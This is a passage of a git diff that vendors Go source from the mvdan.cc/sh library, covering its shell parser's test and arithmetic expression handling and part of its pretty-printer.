+ p.curErr("test operator words must consist of a single literal")
+ default:
+ p.curErr("not a valid test operator: %v", p.tok)
+ }
+ b := &BinaryTest{
+ OpPos: p.pos,
+ Op: BinTestOperator(p.tok),
+ X: left,
+ }
+ // Save the previous quoteState, since we change it in TsReMatch.
+ oldQuote := p.quote
+
+ switch b.Op {
+ case AndTest, OrTest:
+ p.next()
+ if b.Y = p.testExpr(token(b.Op), b.OpPos, false); b.Y == nil {
+ p.followErrExp(b.OpPos, b.Op.String())
+ }
+ case TsReMatch:
+ if !p.lang.isBash() {
+ p.langErr(p.pos, "regex tests", LangBash)
+ }
+ p.rxOpenParens = 0
+ p.rxFirstPart = true
+ // TODO(mvdan): Using nested states within a regex will break in
+ // all sorts of ways. The better fix is likely to use a stop
+ // token, like we do with heredocs.
+ p.quote = testExprRegexp
+ fallthrough
+ default:
+ if _, ok := b.X.(*Word); !ok {
+ p.posErr(b.OpPos, "expected %s, %s or %s after complex expr",
+ AndTest, OrTest, "]]")
+ }
+ p.next()
+ b.Y = p.followWordTok(token(b.Op), b.OpPos)
+ }
+ p.quote = oldQuote
+ return b
+}
+
+func (p *Parser) testExprBase() TestExpr {
+ switch p.tok {
+ case _EOF, rightParen:
+ return nil
+ case _LitWord:
+ op := token(testUnaryOp(p.val))
+ switch op {
+ case illegalTok:
+ case tsRefVar, tsModif: // not available in mksh
+ if p.lang.isBash() {
+ p.tok = op
+ }
+ default:
+ p.tok = op
+ }
+ }
+ switch p.tok {
+ case exclMark:
+ u := &UnaryTest{OpPos: p.pos, Op: TsNot}
+ p.next()
+ if u.X = p.testExpr(token(u.Op), u.OpPos, false); u.X == nil {
+ p.followErrExp(u.OpPos, u.Op.String())
+ }
+ return u
+ case tsExists, tsRegFile, tsDirect, tsCharSp, tsBlckSp, tsNmPipe,
+ tsSocket, tsSmbLink, tsSticky, tsGIDSet, tsUIDSet, tsGrpOwn,
+ tsUsrOwn, tsModif, tsRead, tsWrite, tsExec, tsNoEmpty,
+ tsFdTerm, tsEmpStr, tsNempStr, tsOptSet, tsVarSet, tsRefVar:
+ u := &UnaryTest{OpPos: p.pos, Op: UnTestOperator(p.tok)}
+ p.next()
+ u.X = p.followWordTok(token(u.Op), u.OpPos)
+ return u
+ case leftParen:
+ pe := &ParenTest{Lparen: p.pos}
+ p.next()
+ if pe.X = p.testExpr(leftParen, pe.Lparen, false); pe.X == nil {
+ p.followErrExp(pe.Lparen, "(")
+ }
+ pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen)
+ return pe
+ case _LitWord:
+ if p.val == "]]" {
+ return nil
+ }
+ fallthrough
+ default:
+ if w := p.getWord(); w != nil {
+ return w
+ }
+ // otherwise we'd return a typed nil above
+ return nil
+ }
+}
+
+func (p *Parser) declClause(s *Stmt) {
+ ds := &DeclClause{Variant: p.lit(p.pos, p.val)}
+ p.next()
+ for !p.stopToken() && !p.peekRedir() {
+ if p.hasValidIdent() {
+ ds.Args = append(ds.Args, p.getAssign(false))
+ } else if p.eqlOffs > 0 {
+ p.curErr("invalid var name")
+ } else if p.tok == _LitWord && ValidName(p.val) {
+ ds.Args = append(ds.Args, &Assign{
+ Naked: true,
+ Name: p.getLit(),
+ })
+ } else if w := p.getWord(); w != nil {
+ ds.Args = append(ds.Args, &Assign{
+ Naked: true,
+ Value: w,
+ })
+ } else {
+ p.followErr(p.pos, ds.Variant.Value, "names or assignments")
+ }
+ }
+ s.Cmd = ds
+}
+
+func isBashCompoundCommand(tok token, val string) bool {
+ switch tok {
+ case leftParen, dblLeftParen:
+ return true
+ case _LitWord:
+ switch val {
+ case "{", "if", "while", "until", "for", "case", "[[",
+ "coproc", "let", "function", "declare", "local",
+ "export", "readonly", "typeset", "nameref":
+ return true
+ }
+ }
+ return false
+}
+
+func (p *Parser) timeClause(s *Stmt) {
+ tc := &TimeClause{Time: p.pos}
+ p.next()
+ if _, ok := p.gotRsrv("-p"); ok {
+ tc.PosixFormat = true
+ }
+ tc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false)
+ s.Cmd = tc
+}
+
+func (p *Parser) coprocClause(s *Stmt) {
+ cc := &CoprocClause{Coproc: p.pos}
+ if p.next(); isBashCompoundCommand(p.tok, p.val) {
+ // has no name
+ cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false)
+ s.Cmd = cc
+ return
+ }
+ cc.Name = p.getWord()
+ cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false)
+ if cc.Stmt == nil {
+ if cc.Name == nil {
+ p.posErr(cc.Coproc, "coproc clause requires a command")
+ return
+ }
+ // name was in fact the stmt
+ cc.Stmt = p.stmt(cc.Name.Pos())
+ cc.Stmt.Cmd = p.call(cc.Name)
+ cc.Name = nil
+ } else if cc.Name != nil {
+ if call, ok := cc.Stmt.Cmd.(*CallExpr); ok {
+ // name was in fact the start of a call
+ call.Args = append([]*Word{cc.Name}, call.Args...)
+ cc.Name = nil
+ }
+ }
+ s.Cmd = cc
+}
+
+func (p *Parser) letClause(s *Stmt) {
+ lc := &LetClause{Let: p.pos}
+ old := p.preNested(arithmExprLet)
+ p.next()
+ for !p.stopToken() && !p.peekRedir() {
+ x := p.arithmExpr(true)
+ if x == nil {
+ break
+ }
+ lc.Exprs = append(lc.Exprs, x)
+ }
+ if len(lc.Exprs) == 0 {
+ p.followErrExp(lc.Let, "let")
+ }
+ p.postNested(old)
+ s.Cmd = lc
+}
+
+func (p *Parser) bashFuncDecl(s *Stmt) {
+ fpos := p.pos
+ if p.next(); p.tok != _LitWord {
+ p.followErr(fpos, "function", "a name")
+ }
+ name := p.lit(p.pos, p.val)
+ hasParens := false
+ if p.next(); p.got(leftParen) {
+ hasParens = true
+ p.follow(name.ValuePos, "foo(", rightParen)
+ }
+ p.funcDecl(s, name, fpos, hasParens)
+}
+
+func (p *Parser) testDecl(s *Stmt) {
+ td := &TestDecl{Position: p.pos}
+ p.next()
+ if td.Description = p.getWord(); td.Description == nil {
+ p.followErr(td.Position, "@test", "a description word")
+ }
+ if td.Body = p.getStmt(false, false, true); td.Body == nil {
+ p.followErr(td.Position, `@test "desc"`, "a statement")
+ }
+ s.Cmd = td
+}
+
+func (p *Parser) callExpr(s *Stmt, w *Word, assign bool) {
+ ce := p.call(w)
+ if w == nil {
+ ce.Args = ce.Args[:0]
+ }
+ if assign {
+ ce.Assigns = append(ce.Assigns, p.getAssign(true))
+ }
+loop:
+ for {
+ switch p.tok {
+ case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd,
+ dblSemicolon, semiAnd, dblSemiAnd, semiOr:
+ break loop
+ case _LitWord:
+ if len(ce.Args) == 0 && p.hasValidIdent() {
+ ce.Assigns = append(ce.Assigns, p.getAssign(true))
+ break
+ }
+ ce.Args = append(ce.Args, p.wordOne(p.lit(p.pos, p.val)))
+ p.next()
+ case _Lit:
+ if len(ce.Args) == 0 && p.hasValidIdent() {
+ ce.Assigns = append(ce.Assigns, p.getAssign(true))
+ break
+ }
+ ce.Args = append(ce.Args, p.wordAnyNumber())
+ case bckQuote:
+ if p.backquoteEnd() {
+ break loop
+ }
+ fallthrough
+ case dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut,
+ sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack,
+ globQuest, globStar, globPlus, globAt, globExcl:
+ ce.Args = append(ce.Args, p.wordAnyNumber())
+ case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut,
+ hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir:
+ p.doRedirect(s)
+ case dblLeftParen:
+ p.curErr("%s can only be used to open an arithmetic cmd", p.tok)
+ case rightParen:
+ if p.quote == subCmd {
+ break loop
+ }
+ fallthrough
+ default:
+ // Note that we'll only keep the first error that happens.
+ if len(ce.Args) > 0 {
+ if cmd := ce.Args[0].Lit(); p.lang == LangPOSIX && isBashCompoundCommand(_LitWord, cmd) {
+ p.curErr("the %q builtin exists in bash; tried parsing as posix", cmd)
+ }
+ }
+ p.curErr("a command can only contain words and redirects; encountered %s", p.tok)
+ }
+ }
+ if len(ce.Assigns) == 0 && len(ce.Args) == 0 {
+ return
+ }
+ if len(ce.Args) == 0 {
+ ce.Args = nil
+ } else {
+ for _, asgn := range ce.Assigns {
+ if asgn.Index != nil || asgn.Array != nil {
+ p.posErr(asgn.Pos(), "inline variables cannot be arrays")
+ }
+ }
+ }
+ s.Cmd = ce
+}
+
+func (p *Parser) funcDecl(s *Stmt, name *Lit, pos Pos, withParens bool) {
+ fd := &FuncDecl{
+ Position: pos,
+ RsrvWord: pos != name.ValuePos,
+ Parens: withParens,
+ Name: name,
+ }
+ p.got(_Newl)
+ if fd.Body = p.getStmt(false, false, true); fd.Body == nil {
+ p.followErr(fd.Pos(), "foo()", "a statement")
+ }
+ s.Cmd = fd
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go
new file mode 100644
index 0000000000..a6d6a951f8
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go
@@ -0,0 +1,353 @@
+package syntax
+
+// compact specifies whether we allow spaces between expressions.
+// This is true for let
+func (p *Parser) arithmExpr(compact bool) ArithmExpr {
+ return p.arithmExprComma(compact)
+}
+
+// These function names are inspired by Bash's expr.c
+
+func (p *Parser) arithmExprComma(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprAssign, Comma)
+}
+
+func (p *Parser) arithmExprAssign(compact bool) ArithmExpr {
+ // Assign is different from the other binary operators because it's
+ // right-associative and needs to check that it's placed after a name
+ value := p.arithmExprTernary(compact)
+ switch BinAritOperator(p.tok) {
+ case AddAssgn, SubAssgn, MulAssgn, QuoAssgn, RemAssgn, AndAssgn,
+ OrAssgn, XorAssgn, ShlAssgn, ShrAssgn, Assgn:
+ if compact && p.spaced {
+ return value
+ }
+ if !isArithName(value) {
+ p.posErr(p.pos, "%s must follow a name", p.tok.String())
+ }
+ pos := p.pos
+ tok := p.tok
+ p.nextArithOp(compact)
+ y := p.arithmExprAssign(compact)
+ if y == nil {
+ p.followErrExp(pos, tok.String())
+ }
+ return &BinaryArithm{
+ OpPos: pos,
+ Op: BinAritOperator(tok),
+ X: value,
+ Y: y,
+ }
+ }
+ return value
+}
+
+func (p *Parser) arithmExprTernary(compact bool) ArithmExpr {
+ value := p.arithmExprLor(compact)
+ if BinAritOperator(p.tok) != TernQuest || (compact && p.spaced) {
+ return value
+ }
+
+ if value == nil {
+ p.curErr("%s must follow an expression", p.tok.String())
+ }
+ questPos := p.pos
+ p.nextArithOp(compact)
+ if BinAritOperator(p.tok) == TernColon {
+ p.followErrExp(questPos, TernQuest.String())
+ }
+ trueExpr := p.arithmExpr(compact)
+ if trueExpr == nil {
+ p.followErrExp(questPos, TernQuest.String())
+ }
+ if BinAritOperator(p.tok) != TernColon {
+ p.posErr(questPos, "ternary operator missing : after ?")
+ }
+ colonPos := p.pos
+ p.nextArithOp(compact)
+ falseExpr := p.arithmExprTernary(compact)
+ if falseExpr == nil {
+ p.followErrExp(colonPos, TernColon.String())
+ }
+ return &BinaryArithm{
+ OpPos: questPos,
+ Op: TernQuest,
+ X: value,
+ Y: &BinaryArithm{
+ OpPos: colonPos,
+ Op: TernColon,
+ X: trueExpr,
+ Y: falseExpr,
+ },
+ }
+}
+
+func (p *Parser) arithmExprLor(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprLand, OrArit)
+}
+
+func (p *Parser) arithmExprLand(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprBor, AndArit)
+}
+
+func (p *Parser) arithmExprBor(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprBxor, Or)
+}
+
+func (p *Parser) arithmExprBxor(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprBand, Xor)
+}
+
+func (p *Parser) arithmExprBand(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprEquality, And)
+}
+
+func (p *Parser) arithmExprEquality(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprComparison, Eql, Neq)
+}
+
+func (p *Parser) arithmExprComparison(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprShift, Lss, Gtr, Leq, Geq)
+}
+
+func (p *Parser) arithmExprShift(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprAddition, Shl, Shr)
+}
+
+func (p *Parser) arithmExprAddition(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprMultiplication, Add, Sub)
+}
+
+func (p *Parser) arithmExprMultiplication(compact bool) ArithmExpr {
+ return p.arithmExprBinary(compact, p.arithmExprPower, Mul, Quo, Rem)
+}
+
+func (p *Parser) arithmExprPower(compact bool) ArithmExpr {
+ // Power is different from the other binary operators because it's right-associative
+ value := p.arithmExprUnary(compact)
+ if BinAritOperator(p.tok) != Pow || (compact && p.spaced) {
+ return value
+ }
+
+ if value == nil {
+ p.curErr("%s must follow an expression", p.tok.String())
+ }
+
+ op := p.tok
+ pos := p.pos
+ p.nextArithOp(compact)
+ y := p.arithmExprPower(compact)
+ if y == nil {
+ p.followErrExp(pos, op.String())
+ }
+ return &BinaryArithm{
+ OpPos: pos,
+ Op: BinAritOperator(op),
+ X: value,
+ Y: y,
+ }
+}
+
+func (p *Parser) arithmExprUnary(compact bool) ArithmExpr {
+ if !compact {
+ p.got(_Newl)
+ }
+
+ switch UnAritOperator(p.tok) {
+ case Not, BitNegation, Plus, Minus:
+ ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)}
+ p.nextArithOp(compact)
+ if ue.X = p.arithmExprUnary(compact); ue.X == nil {
+ p.followErrExp(ue.OpPos, ue.Op.String())
+ }
+ return ue
+ }
+ return p.arithmExprValue(compact)
+}
+
+func (p *Parser) arithmExprValue(compact bool) ArithmExpr {
+ var x ArithmExpr
+ switch p.tok {
+ case addAdd, subSub:
+ ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)}
+ p.nextArith(compact)
+ if p.tok != _LitWord {
+ p.followErr(ue.OpPos, token(ue.Op).String(), "a literal")
+ }
+ ue.X = p.arithmExprValue(compact)
+ return ue
+ case leftParen:
+ pe := &ParenArithm{Lparen: p.pos}
+ p.nextArithOp(compact)
+ pe.X = p.followArithm(leftParen, pe.Lparen)
+ pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen)
+ x = pe
+ case leftBrack:
+ p.curErr("[ must follow a name")
+ case colon:
+ p.curErr("ternary operator missing ? before :")
+ case _LitWord:
+ l := p.getLit()
+ if p.tok != leftBrack {
+ x = p.wordOne(l)
+ break
+ }
+ pe := &ParamExp{Dollar: l.ValuePos, Short: true, Param: l}
+ pe.Index = p.eitherIndex()
+ x = p.wordOne(pe)
+ case bckQuote:
+ if p.quote == arithmExprLet && p.openBquotes > 0 {
+ return nil
+ }
+ fallthrough
+ default:
+ if w := p.getWord(); w != nil {
+ x = w
+ } else {
+ return nil
+ }
+ }
+
+ if compact && p.spaced {
+ return x
+ }
+ if !compact {
+ p.got(_Newl)
+ }
+
+ // we want real nil, not (*Word)(nil) as that
+ // sets the type to non-nil and then x != nil
+ if p.tok == addAdd || p.tok == subSub {
+ if !isArithName(x) {
+ p.curErr("%s must follow a name", p.tok.String())
+ }
+ u := &UnaryArithm{
+ Post: true,
+ OpPos: p.pos,
+ Op: UnAritOperator(p.tok),
+ X: x,
+ }
+ p.nextArith(compact)
+ return u
+ }
+ return x
+}
+
+// nextArith consumes a token.
+// It returns true if compact and the token was followed by spaces
+func (p *Parser) nextArith(compact bool) bool {
+ p.next()
+ if compact && p.spaced {
+ return true
+ }
+ if !compact {
+ p.got(_Newl)
+ }
+ return false
+}
+
+func (p *Parser) nextArithOp(compact bool) {
+ pos := p.pos
+ tok := p.tok
+ if p.nextArith(compact) {
+ p.followErrExp(pos, tok.String())
+ }
+}
+
+// arithmExprBinary is used for all left-associative binary operators
+func (p *Parser) arithmExprBinary(compact bool, nextOp func(bool) ArithmExpr, operators ...BinAritOperator) ArithmExpr {
+ value := nextOp(compact)
+ for {
+ var foundOp BinAritOperator
+ for _, op := range operators {
+ if p.tok == token(op) {
+ foundOp = op
+ break
+ }
+ }
+
+ if token(foundOp) == illegalTok || (compact && p.spaced) {
+ return value
+ }
+
+ if value == nil {
+ p.curErr("%s must follow an expression", p.tok.String())
+ }
+
+ pos := p.pos
+ p.nextArithOp(compact)
+ y := nextOp(compact)
+ if y == nil {
+ p.followErrExp(pos, foundOp.String())
+ }
+
+ value = &BinaryArithm{
+ OpPos: pos,
+ Op: foundOp,
+ X: value,
+ Y: y,
+ }
+ }
+}
+
+func isArithName(left ArithmExpr) bool {
+ w, ok := left.(*Word)
+ if !ok || len(w.Parts) != 1 {
+ return false
+ }
+ switch x := w.Parts[0].(type) {
+ case *Lit:
+ return ValidName(x.Value)
+ case *ParamExp:
+ return x.nakedIndex()
+ default:
+ return false
+ }
+}
+
+func (p *Parser) followArithm(ftok token, fpos Pos) ArithmExpr {
+ x := p.arithmExpr(false)
+ if x == nil {
+ p.followErrExp(fpos, ftok.String())
+ }
+ return x
+}
+
+func (p *Parser) peekArithmEnd() bool {
+ return p.tok == rightParen && p.r == ')'
+}
+
+func (p *Parser) arithmMatchingErr(pos Pos, left, right token) {
+ switch p.tok {
+ case _Lit, _LitWord:
+ p.curErr("not a valid arithmetic operator: %s", p.val)
+ case leftBrack:
+ p.curErr("[ must follow a name")
+ case colon:
+ p.curErr("ternary operator missing ? before :")
+ case rightParen, _EOF:
+ p.matchingErr(pos, left, right)
+ default:
+ if p.quote == arithmExpr {
+ p.curErr("not a valid arithmetic operator: %v", p.tok)
+ }
+ p.matchingErr(pos, left, right)
+ }
+}
+
+func (p *Parser) matchedArithm(lpos Pos, left, right token) {
+ if !p.got(right) {
+ p.arithmMatchingErr(lpos, left, right)
+ }
+}
+
+func (p *Parser) arithmEnd(ltok token, lpos Pos, old saveState) Pos {
+ if !p.peekArithmEnd() {
+ p.arithmMatchingErr(lpos, ltok, dblRightParen)
+ }
+ p.rune()
+ p.postNested(old)
+ pos := p.pos
+ p.next()
+ return pos
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/printer.go b/vendor/mvdan.cc/sh/v3/syntax/printer.go
new file mode 100644
index 0000000000..84ad68502e
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/printer.go
@@ -0,0 +1,1530 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "bufio"
+ "bytes"
+ "fmt"
+ "io"
+ "strings"
+ "text/tabwriter"
+ "unicode"
+
+ "mvdan.cc/sh/v3/fileutil"
+)
+
+// PrinterOption is a function which can be passed to NewPrinter
+// to alter its behavior. To apply option to existing Printer
+// call it directly, for example KeepPadding(true)(printer).
+type PrinterOption func(*Printer)
+
+// Indent sets the number of spaces used for indentation. If set to 0,
+// tabs will be used instead.
+func Indent(spaces uint) PrinterOption {
+ return func(p *Printer) { p.indentSpaces = spaces }
+}
+
+// BinaryNextLine will make binary operators appear on the next line
+// when a binary command, such as a pipe, spans multiple lines. A
+// backslash will be used.
+func BinaryNextLine(enabled bool) PrinterOption {
+ return func(p *Printer) { p.binNextLine = enabled }
+}
+
+// SwitchCaseIndent will make switch cases be indented. As such, switch
+// case bodies will be two levels deeper than the switch itself.
+func SwitchCaseIndent(enabled bool) PrinterOption {
+ return func(p *Printer) { p.swtCaseIndent = enabled }
+}
+
+// TODO(v4): consider turning this into a "space all operators" option, to also
+// allow foo=( bar baz ), (( x + y )), and so on.
+
+// SpaceRedirects will put a space after most redirection operators. The
+// exceptions are '>&', '<&', '>(', and '<('.
+func SpaceRedirects(enabled bool) PrinterOption {
+ return func(p *Printer) { p.spaceRedirects = enabled }
+}
+
+// KeepPadding will keep most nodes and tokens in the same column that
+// they were in the original source. This allows the user to decide how
+// to align and pad their code with spaces.
+//
+// Note that this feature is best-effort and will only keep the
+// alignment stable, so it may need some human help the first time it is
+// run.
+func KeepPadding(enabled bool) PrinterOption {
+ return func(p *Printer) {
+ if enabled && !p.keepPadding {
+ // Enable the flag, and set up the writer wrapper.
+ p.keepPadding = true
+ p.cols.Writer = p.bufWriter.(*bufio.Writer)
+ p.bufWriter = &p.cols
+
+ } else if !enabled && p.keepPadding {
+ // Ensure we reset the state to that of NewPrinter.
+ p.keepPadding = false
+ p.bufWriter = p.cols.Writer
+ p.cols = colCounter{}
+ }
+ }
+}
+
+// Minify will print programs in a way to save the most bytes possible.
+// For example, indentation and comments are skipped, and extra
+// whitespace is avoided when possible.
+func Minify(enabled bool) PrinterOption {
+ return func(p *Printer) { p.minify = enabled }
+}
+
+// SingleLine will attempt to print programs in one line. For example, lists of
+// commands or nested blocks do not use newlines in this mode. Note that some
+// newlines must still appear, such as those following comments or around
+// here-documents.
+//
+// Print's trailing newline when given a *File is not affected by this option.
+func SingleLine(enabled bool) PrinterOption {
+ return func(p *Printer) { p.singleLine = enabled }
+}
+
+// FunctionNextLine will place a function's opening braces on the next line.
+func FunctionNextLine(enabled bool) PrinterOption {
+ return func(p *Printer) { p.funcNextLine = enabled }
+}
+
+// NewPrinter allocates a new Printer and applies any number of options.
+func NewPrinter(opts ...PrinterOption) *Printer {
+ p := &Printer{
+ bufWriter: bufio.NewWriter(nil),
+ tabWriter: new(tabwriter.Writer),
+ }
+ for _, opt := range opts {
+ opt(p)
+ }
+ return p
+}
+
+// Print "pretty-prints" the given syntax tree node to the given writer. Writes
+// to w are buffered.
+//
+// The node types supported at the moment are *File, *Stmt, *Word, *Assign, any
+// Command node, and any WordPart node. A trailing newline will only be printed
+// when a *File is used.
+func (p *Printer) Print(w io.Writer, node Node) error {
+ p.reset()
+
+ if p.minify && p.singleLine {
+ return fmt.Errorf("Minify and SingleLine together are not supported yet; please file an issue describing your use case: https://github.com/mvdan/sh/issues")
+ }
+
+ // TODO: consider adding a raw mode to skip the tab writer, much like in
+ // go/printer.
+ twmode := tabwriter.DiscardEmptyColumns | tabwriter.StripEscape
+ tabwidth := 8
+ if p.indentSpaces == 0 {
+ // indenting with tabs
+ twmode |= tabwriter.TabIndent
+ } else {
+ // indenting with spaces
+ tabwidth = int(p.indentSpaces)
+ }
+ p.tabWriter.Init(w, 0, tabwidth, 1, ' ', twmode)
+ w = p.tabWriter
+
+ p.bufWriter.Reset(w)
+ switch x := node.(type) {
+ case *File:
+ p.stmtList(x.Stmts, x.Last)
+ p.newline(Pos{})
+ case *Stmt:
+ p.stmtList([]*Stmt{x}, nil)
+ case Command:
+ p.command(x, nil)
+ case *Word:
+ p.line = x.Pos().Line()
+ p.word(x)
+ case WordPart:
+ p.line = x.Pos().Line()
+ p.wordPart(x, nil)
+ case *Assign:
+ p.line = x.Pos().Line()
+ p.assigns([]*Assign{x})
+ default:
+ return fmt.Errorf("unsupported node type: %T", x)
+ }
+ p.flushHeredocs()
+ p.flushComments()
+
+ // flush the writers
+ if err := p.bufWriter.Flush(); err != nil {
+ return err
+ }
+ if tw, _ := w.(*tabwriter.Writer); tw != nil {
+ if err := tw.Flush(); err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+type bufWriter interface {
+ Write([]byte) (int, error)
+ WriteString(string) (int, error)
+ WriteByte(byte) error
+ Reset(io.Writer)
+ Flush() error
+}
+
+type colCounter struct {
+ *bufio.Writer
+ column int
+ lineStart bool
+}
+
+func (c *colCounter) addByte(b byte) {
+ switch b {
+ case '\n':
+ c.column = 0
+ c.lineStart = true
+ case '\t', ' ', tabwriter.Escape:
+ default:
+ c.lineStart = false
+ }
+ c.column++
+}
+
+func (c *colCounter) WriteByte(b byte) error {
+ c.addByte(b)
+ return c.Writer.WriteByte(b)
+}
+
+func (c *colCounter) WriteString(s string) (int, error) {
+ for _, b := range []byte(s) {
+ c.addByte(b)
+ }
+ return c.Writer.WriteString(s)
+}
+
+func (c *colCounter) Reset(w io.Writer) {
+ c.column = 1
+ c.lineStart = true
+ c.Writer.Reset(w)
+}
+
+// Printer holds the internal state of the printing mechanism of a
+// program.
+type Printer struct {
+ bufWriter // TODO: embedding this makes the methods part of the API, which we did not intend
+ tabWriter *tabwriter.Writer
+ cols colCounter
+
+ indentSpaces uint
+ binNextLine bool
+ swtCaseIndent bool
+ spaceRedirects bool
+ keepPadding bool
+ minify bool
+ singleLine bool
+ funcNextLine bool
+
+ wantSpace wantSpaceState // whether space is required or has been written
+
+ wantNewline bool // newline is wanted for pretty-printing; ignored by singleLine; ignored by singleLine
+ mustNewline bool // newline is required to keep shell syntax valid
+ wroteSemi bool // wrote ';' for the current statement
+
+ // pendingComments are any comments in the current line or statement
+ // that we have yet to print. This is useful because that way, we can
+ // ensure that all comments are written immediately before a newline.
+ // Otherwise, in some edge cases we might wrongly place words after a
+ // comment in the same line, breaking programs.
+ pendingComments []Comment
+
+ // firstLine means we are still writing the first line
+ firstLine bool
+ // line is the current line number
+ line uint
+
+ // lastLevel is the last level of indentation that was used.
+ lastLevel uint
+ // level is the current level of indentation.
+ level uint
+ // levelIncs records which indentation level increments actually
+ // took place, to revert them once their section ends.
+ levelIncs []bool
+
+ nestedBinary bool
+
+ // pendingHdocs is the list of pending heredocs to write.
+ pendingHdocs []*Redirect
+
+ // used when printing <<- heredocs with tab indentation
+ tabsPrinter *Printer
+}
+
+func (p *Printer) reset() {
+ p.wantSpace = spaceWritten
+ p.wantNewline, p.mustNewline = false, false
+ p.pendingComments = p.pendingComments[:0]
+
+ // minification uses its own newline logic
+ p.firstLine = !p.minify
+ p.line = 0
+
+ p.lastLevel, p.level = 0, 0
+ p.levelIncs = p.levelIncs[:0]
+ p.nestedBinary = false
+ p.pendingHdocs = p.pendingHdocs[:0]
+}
+
+func (p *Printer) spaces(n uint) {
+ for i := uint(0); i < n; i++ {
+ p.WriteByte(' ')
+ }
+}
+
+func (p *Printer) space() {
+ p.WriteByte(' ')
+ p.wantSpace = spaceWritten
+}
+
+func (p *Printer) spacePad(pos Pos) {
+ if p.cols.lineStart && p.indentSpaces == 0 {
+ // Never add padding at the start of a line unless we are indenting
+ // with spaces, since this may result in mixing of spaces and tabs.
+ return
+ }
+ if p.wantSpace == spaceRequired {
+ p.WriteByte(' ')
+ p.wantSpace = spaceWritten
+ }
+ for p.cols.column > 0 && p.cols.column < int(pos.Col()) {
+ p.WriteByte(' ')
+ }
+}
+
+// wantsNewline reports whether we want to print at least one newline before
+// printing a node at a given position. A zero position can be given to simply
+// tell if we want a newline following what's just been printed.
+func (p *Printer) wantsNewline(pos Pos, escapingNewline bool) bool {
+ if p.mustNewline {
+ // We must have a newline here.
+ return true
+ }
+ if p.singleLine && len(p.pendingComments) == 0 {
+ // The newline is optional, and singleLine skips it.
+ // Don't skip if there are any pending comments,
+ // as that might move them further down to the wrong place.
+ return false
+ }
+ if escapingNewline && p.minify {
+ return false
+ }
+ // The newline is optional, and we want it via either wantNewline or via
+ // the position's line.
+ return p.wantNewline || pos.Line() > p.line
+}
+
+func (p *Printer) bslashNewl() {
+ if p.wantSpace == spaceRequired {
+ p.space()
+ }
+ p.WriteString("\\\n")
+ p.line++
+ p.indent()
+}
+
+func (p *Printer) spacedString(s string, pos Pos) {
+ p.spacePad(pos)
+ p.WriteString(s)
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) spacedToken(s string, pos Pos) {
+ if p.minify {
+ p.WriteString(s)
+ p.wantSpace = spaceNotRequired
+ return
+ }
+ p.spacePad(pos)
+ p.WriteString(s)
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) semiOrNewl(s string, pos Pos) {
+ if p.wantsNewline(Pos{}, false) {
+ p.newline(pos)
+ p.indent()
+ } else {
+ if !p.wroteSemi {
+ p.WriteByte(';')
+ }
+ if !p.minify {
+ p.space()
+ }
+ p.advanceLine(pos.Line())
+ }
+ p.WriteString(s)
+ p.wantSpace = spaceRequired
+}
+
+func (p *Printer) writeLit(s string) {
+ // If p.tabWriter is nil, this is the nested printer being used to print
+ // <<- heredoc bodies, so the parent printer will add the escape bytes
+ // later.
+ if p.tabWriter != nil && strings.Contains(s, "\t") {
+ p.WriteByte(tabwriter.Escape)
+ defer p.WriteByte(tabwriter.Escape)
+ }
+ p.WriteString(s)
+}
+
+func (p *Printer) incLevel() {
+ inc := false
+ if p.level <= p.lastLevel || len(p.levelIncs) == 0 {
+ p.level++
+ inc = true
+ } else if last := &p.levelIncs[len(p.levelIncs)-1]; *last {
+ *last = false
+ inc = true
+ }
+ p.levelIncs = append(p.levelIncs, inc)
+}
+
+func (p *Printer) decLevel() {
+ if p.levelIncs[len(p.levelIncs)-1] {
+ p.level--
+ }
+ p.levelIncs = p.levelIncs[:len(p.levelIncs)-1]
+}
+
+func (p *Printer) indent() {
+ if p.minify {
+ return
+ }
+ p.lastLevel = p.level
+ switch {
+ case p.level == 0:
+ case p.indentSpaces == 0:
+ p.WriteByte(tabwriter.Escape)
+ for i := uint(0); i < p.level; i++ {
+ p.WriteByte('\t')
+ }
+ p.WriteByte(tabwriter.Escape)
+ default:
+ p.spaces(p.indentSpaces * p.level)
+ }
+}
+
+// TODO(mvdan): add an indent call at the end of newline?
+
+// newline prints one newline and advances p.line to pos.Line().
+func (p *Printer) newline(pos Pos) {
+ p.flushHeredocs()
+ p.flushComments()
+ p.WriteByte('\n')
+ p.wantSpace = spaceWritten
+ p.wantNewline, p.mustNewline = false, false
+ p.advanceLine(pos.Line())
+}
+
+func (p *Printer) advanceLine(line uint) {
+ if p.line < line {
+ p.line = line
+ }
+}
+
+func (p *Printer) flushHeredocs() {
+ if len(p.pendingHdocs) == 0 {
+ return
+ }
